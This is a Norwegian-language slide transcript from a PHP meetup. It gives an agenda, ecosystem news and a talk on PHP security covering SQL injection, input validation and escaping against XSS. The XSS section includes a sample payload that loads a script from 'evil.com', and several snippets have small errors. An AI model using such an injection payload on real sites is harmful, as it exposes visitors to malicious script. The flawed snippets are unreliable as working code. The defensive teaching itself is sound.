kristiansandphp meetup 5
TRANSCRIPT
Velkommen til 5. samling
Agenda
• 18:00 Velkommen, Morten • 18:10 PHP sikkerhet, Morten • 18:20 Drupal programmering, Kevin
• 19:00 Pizza
• 19:15 My editor: Atom, Dave • 19:20 Animasjoner med JavaScript, Yngve
2
3
Det skjer mye i PHP miljøet for tiden, det er gøy!
• 1. oktober kom PHP7 RC4 • PHPUnit 5.0, stable release 2. oktober, støtter
bare aktive PHP versjoner (dvs 5.6), så de av oss som evt er på eldre versjon av PHP må ta en vurdering…
• Composer kom med ny versjon i går for PHPUnit 5 • Symfony og Zend har sluppet ny versjon siden sist
(Laravel kom med ny versjon i august) • CodeIgniter er ikke død, ny versjon i august • Og nærmeste PHP konferanse er i London:
PHP UK Conference 2016, 18-19. februar4
5
6 PHP bøker hos O`Reilly
siden i sommer :-)
Tips til bøker
6
PHP SIKKERHET- Morten Bergset
Input - trust no one!
• Først og fremst: hindre SQL injection
• Og ca like viktig: sikre god/riktig input til vår kode
SQL injection
• Det viktigste og beste vi kan gjøre, er prepared statements (PDO, MySQLi eller OCI8)
Validering er litt mer styr…
Rammeverk er kjekt…
Laravel har validator (i egen klasse eller inkludert i store-metoden)
Profundo WebAdmin
• I Profundo har vi har et pattern-array med regex som automatisk sjekkes lagring i databasen
Bruker du rammeverk?
• Caste til int: $id = (int) $_GET(‘id’);
• If-setningerif(isset($_GET[‘price’]) $price = $_GET[‘price’]; if($price < 100) $pris = 100;
Metoder for tall
NO!
Metoder for strenger
• Strings med default verdi $title = (isset($_GET[‘title’])) ? :’Lorem Ipsum’;
• String max lengde$title = substr($title,0,20);
NO!
Vi kan spare oss for noen if-setninger ved å bruke filter_input() eller filter_var()
// ingen html kode i fornavn $fornavn = filter_input(INPUT_GET,’fornavn',FILTER_SANITIZE_STRING); // antall blir 5 om ikke oppgitt, eller ugyldig (må være mellom 0 og 9) $antall = filter_input(INPUT_GET,'antall',FILTER_VALIDATE_INT,['options'=>['default'=>5, 'min_range'=>0, ‘max_range'=>9]]); // epost blir en tom string, eller en gyldig epost-adresse$epost = filter_input(INPUT_POST,'epost',FILTER_VALIDATE_EMAIL);
Metode flagg
• Validating, determine if the data is in proper form FILTER_VALIDATE_INTFILTER_VALIDATE_EMAIL FILTER_VALIDATE_URL
• Sanitizing, remove any illegal character FILTER_SANITIZE_STRINGFILTER_SANITIZE_NUMBER_INTSjekk php.net for flere :-)
Sanitize and validate
Output - XSS (Cross Site Scripting)
• Passe på brukerene våre
• Escape output fra database, webservice, fil osv.
Hva er XSS?
• At man inkludere JavaScript e.l. via url eller tidligere skjema.
• Eks: man oppgir navnet i et skjema til å være Ole ‘><script src=‘http://evil.com/mean.js'></scipt>Dette er ikke databasemessig farlig, men om andre ser på rapport i nettleseren så kan det kjøres…
Rammeverk er kjekt…
Symfony & Laravel
• Håndtert for deg automatisk i Twig/Blade:
{{ $var }}
Zend
<?= $this->escape($val['author']) ?>
CakePHP
• Ikke automatisk escaping, men med en kjekk liten hjelpefunksjon h(), er det ingen unnskyldning:
<?= h($user->title); ?>
Bruker du rammeverk?
Plain PHP
<?=htmlspecialchars($string)?>
istedet for
<?= $string ?>
Mer kontroll
echo htmlspecialchars($string,ENT_QUOTES,’UTF-8');